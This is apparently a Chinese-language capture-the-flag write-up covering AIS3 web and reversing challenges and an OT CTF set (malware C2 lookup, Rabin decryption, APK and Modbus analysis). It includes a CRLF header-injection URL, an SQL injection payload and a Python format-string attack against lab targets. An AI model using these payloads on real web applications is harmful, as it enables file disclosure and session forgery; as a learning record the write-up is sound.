這題在考crlf截斷,截斷之後可以header injection

1
http://10.105.0.21:11580/?redir=https://www.google.com%0d%0aX-Accel-Redirect:%20/flag

AIS3{JUsT_s0m3_FUnNy_N91NX_FEaturE}

copypasta

題目有sql injection,用sqlmap dump出所有column後可以直接存取/posts/flag_id,但他會檢查cookie,所以絲路變成:透過sql injection創建不存在的貼文->透過string format撈出app.secret_key->偽造cookie->存取flag頁面

透過sql injection創造貼文

1
2
3
4
#source code
tmpl = db().cursor().execute(
f"SELECT * FROM copypasta_template WHERE id = {id}"
).fetchone()

這裡很明顯留了一個洞給我們

1
2
#payload
?id=1,'a','{field.__class__....}'

此時下面進行format string的時候就會被injection

1
res = content.format(field=request.form)

這題沒有做出來,卡在Pyton format string漏洞,可以摸到magic method,但是因為在不同namespace沒辦法用__global__撈到app.secret_key

reverse

stateful

把整個流程反過來做一次 真reversed engineering
先用ghidra把C弄出來後用vs code 的取代把每個function改成printf,之後用python把出來的function整個反過來

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
string = """
3618225054(k_target)
2057902921(k_target)
671274660(k_target)
...
...
557589375(k_target)
3420754995(k_target)
3648003850(k_target)
1978986903(k_target)
"""

lst = string.split('\n')
lst.reverse()
print(lst)
for i in lst:
print('state_'+i+';')

把每個狀態機的function+改成-,然後把k_target逆向回推

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// Hello world! Cplayground is an online sandbox that makes it easy to try out
// code.

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>



int main() {
int local_14 = 1;
int local_10 = 0;
unsigned local_c = 0xd7a9bb9e;
bool bVar1 = false;
char k_target[43] =
{
38,
75,
...
128,
101,
-20,
125
};

state_1978986903(k_target);
state_3648003850(k_target);
state_3420754995(k_target);
state_557589375(k_target);
...
state_2057902921(k_target);
state_3618225054(k_target);
for (int i=0;i<44;i++){
printf("%c",k_target[i]);
}
return 0;
}

基本上就是反著做一遍

AIS3{Ar3_y0U_@_sTAtEfuL_Or_S7AT3L3SS_ctfer}

OT CTF writeup

惡意軟體分析

[name=trianglesnake]
flag:||10.15.1.69:3128||
難度:中

  1. 打開ida pro
  2. 查看import table
  3. 查看是否有網路連線相關api
  4. 查看 WinHttpOpen functoin的Reference
  5. 在edi中找到中繼伺服器ip和port

惡意軟體分析2

[name=trianglesnake]
flag:||flag{5.39.218.152}||

加密系統

[name=trianglesnake]
flag:||flag_EnCryp1||
難度:難

  1. 使用factordb.com分解n
  2. 因為e是2,所以不可能為RSA,猜測為rabin算法
  3. 有$p、q$了,所以順著把$m_p、m_q$求出來,會有四組明文
  4. 找可以讀的明文就是flag了

工業app分析

[name=trianglesnake]
flag:||Flag {g6ghfchijv55fhh8gdd}||
難度:易

  1. 題目有附apktool,用apktool decode apk
  2. 摸一摸就找到flag了

Level_L] Modbus異常封包

[name=trianglesnake]
flag:||THISISAOTCTFEASYFLAG||
難度:易

  1. 題目說是意外擲回,直接用filter過濾exception
1
modbus.exception_code
  1. 查看request內容
    image

Level_L] Modbus異常封包

[name=trianglesnake]
flag:||AN APPLE A DAY KEEPS THE DOCTOR AWAY||
難度:易

  1. 藏訊息發給PLC,若沒有拆開封包length一定會很長
  2. length最長的封包

image

比別的封包多一坨hex的資料

  1. 把hex轉成ascii,得到flag

image